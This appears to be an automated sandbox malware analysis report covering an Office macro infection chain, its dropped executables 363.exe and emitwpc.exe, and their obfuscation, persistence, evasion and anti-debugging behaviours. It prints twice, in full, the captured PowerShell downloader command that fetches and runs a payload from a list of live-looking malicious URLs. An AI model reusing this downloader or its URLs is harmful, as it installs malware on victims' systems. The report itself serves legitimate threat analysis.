Source: 363.exe.9.dr	Static PE information: section name: o

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\Public\363.exe	Code function: 10_2_00E8C6E4 push ebp; iretd	10_2_00E8C6E5
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B8F2 push ebx; iretd	10_2_00E8B901
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8C2CA push ebx; iretd	10_2_00E8C32D
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B4CB push ebx; iretd	10_2_00E8B4A5
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8BED0 push ebx; iretd	10_2_00E8BED1
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B6A9 push ebx; iretd	10_2_00E8B78D
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8D667 push esi; ret	10_2_00E8D672
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8BA76 push ebx; iretd	10_2_00E8BA75
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8C044 push ebx; iretd	10_2_00E8C045
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B42A push ebx; iretd	10_2_00E8B4A5
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B611 push ebx; iretd	10_2_00E8B619
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8A7ED push ebx; iretd	10_2_00E8A80D
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8BBE1 push ebx; iretd	10_2_00E8BBE9
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8AFE5 push cs; retf	10_2_00E8B024
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B9FF push ebx; iretd	10_2_00E8BA75
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B9DD push esi; ret	10_2_00E8B9DE
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8BDD1 push 00000013h; iretd	10_2_00E8BDD9
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8AFD2 push cs; retf	10_2_00E8B024
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8D9D6 pushad ; iretd	10_2_00E8D9D7
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8B799 push ebx; iretd	10_2_00E8B78D
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8DB9B push cs; retf	10_2_00E8DB9C
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8C193 push ebx; iretd	10_2_00E8C1B9
Source: C:\Users\Public\363.exe	Code function: 10_2_00E89D49 push ebp; retf	10_2_00E89D4A
Source: C:\Users\Public\363.exe	Code function: 10_2_00E8C32E push ebx; iretd	10_2_00E8C32D
Source: C:\Users\Public\363.exe	Code function: 10_2_00E89136 push cs; retf	10_2_00E89137

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\System32\emitwpc.exe

Executable created and started: C:\Windows\System32\emitwpc.exe

Tries to download and execute files (via powershell)

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';

Drops PE files

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\363.exe

Jump to dropped file

Drops PE files to the user directory

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\363.exe

Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Show sources

Source: C:\Users\Public\363.exe

PE file moved: C:\Windows\System32\emitwpc.exe

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\363.exe

Jump to dropped file

Contains functionality to start windows services

Show sources

Source: C:\Users\Public\363.exe

Code function: 11_2_0050DD51 StartServiceW,CloseServiceHandle,CloseServiceHandle,

11_2_0050DD51

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\Public\363.exe

File opened: C:\Windows\system32\emitwpc.exe:Zone.Identifier read attributes | delete

Uses known network protocols on non-standard ports

Show sources

Source: unknown

Network traffic detected: HTTP traffic on port 49216 -> 7080

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Checks the free space of harddrives

Show sources

Source: C:\Users\Public\363.exe

File Volume queried: C:\ FullSizeInformation

Contains functionality to enumerate running services

Show sources

Source: C:\Users\Public\363.exe	Code function: EnumServicesStatusExW,GetTickCount,OpenServiceW,	11_2_0050DA7D
Source: C:\Users\Public\363.exe	Code function: EnumServicesStatusExW,GetLastError,	11_2_0050DA24
Source: C:\Windows\System32\emitwpc.exe	Code function: EnumServicesStatusExW,GetLastError,	13_2_002ADA24
Source: C:\Windows\System32\emitwpc.exe	Code function: EnumServicesStatusExW,GetTickCount,OpenServiceW,	13_2_002ADA7D

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Enumerates the file system

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Found large amount of non-executed APIs

Show sources

Source: C:\Windows\System32\emitwpc.exe

API coverage: 9.1 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1824	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\363.exe TID: 2880	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\emitwpc.exe TID: 2888	Thread sleep time: -60000s >= -30000s

Queries disk information (often used to detect virtual machines)

Show sources

Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

File opened: PhysicalDrive0

Jump to behavior

Queries a list of all running processes

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System information queried: KernelDebuggerInformation

Checks if the current process is being debugged

Show sources

Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Process queried: DebugPort	Jump to behavior

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_00E81C20 LdrGetProcedureAddress,LdrGetProcedureAddress,

10_2_00E81C20

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_00311A36 LoadLibraryA,GetProcAddress,

10_2_00311A36

Contains functionality to read the PEB

Show sources

Source: C:\Users\Public\363.exe	Code function: 10_2_00311530 mov eax, dword ptr fs:[00000030h]	10_2_00311530
Source: C:\Users\Public\363.exe	Code function: 10_2_003121B0 mov eax, dword ptr fs:[00000030h]	10_2_003121B0
Source: C:\Users\Public\363.exe	Code function: 11_2_00501530 mov eax, dword ptr fs:[00000030h]	11_2_00501530
Source: C:\Users\Public\363.exe	Code function: 11_2_005021B0 mov eax, dword ptr fs:[00000030h]	11_2_005021B0
Source: C:\Windows\System32\emitwpc.exe	Code function: 12_2_00381530 mov eax, dword ptr fs:[00000030h]	12_2_00381530
Source: C:\Windows\System32\emitwpc.exe	Code function: 12_2_003821B0 mov eax, dword ptr fs:[00000030h]	12_2_003821B0
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A1530 mov eax, dword ptr fs:[00000030h]	13_2_002A1530
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A21B0 mov eax, dword ptr fs:[00000030h]	13_2_002A21B0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_00311830 GetProcessHeap,HeapFree,

10_2_00311830

Enables debug privileges

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Show sources

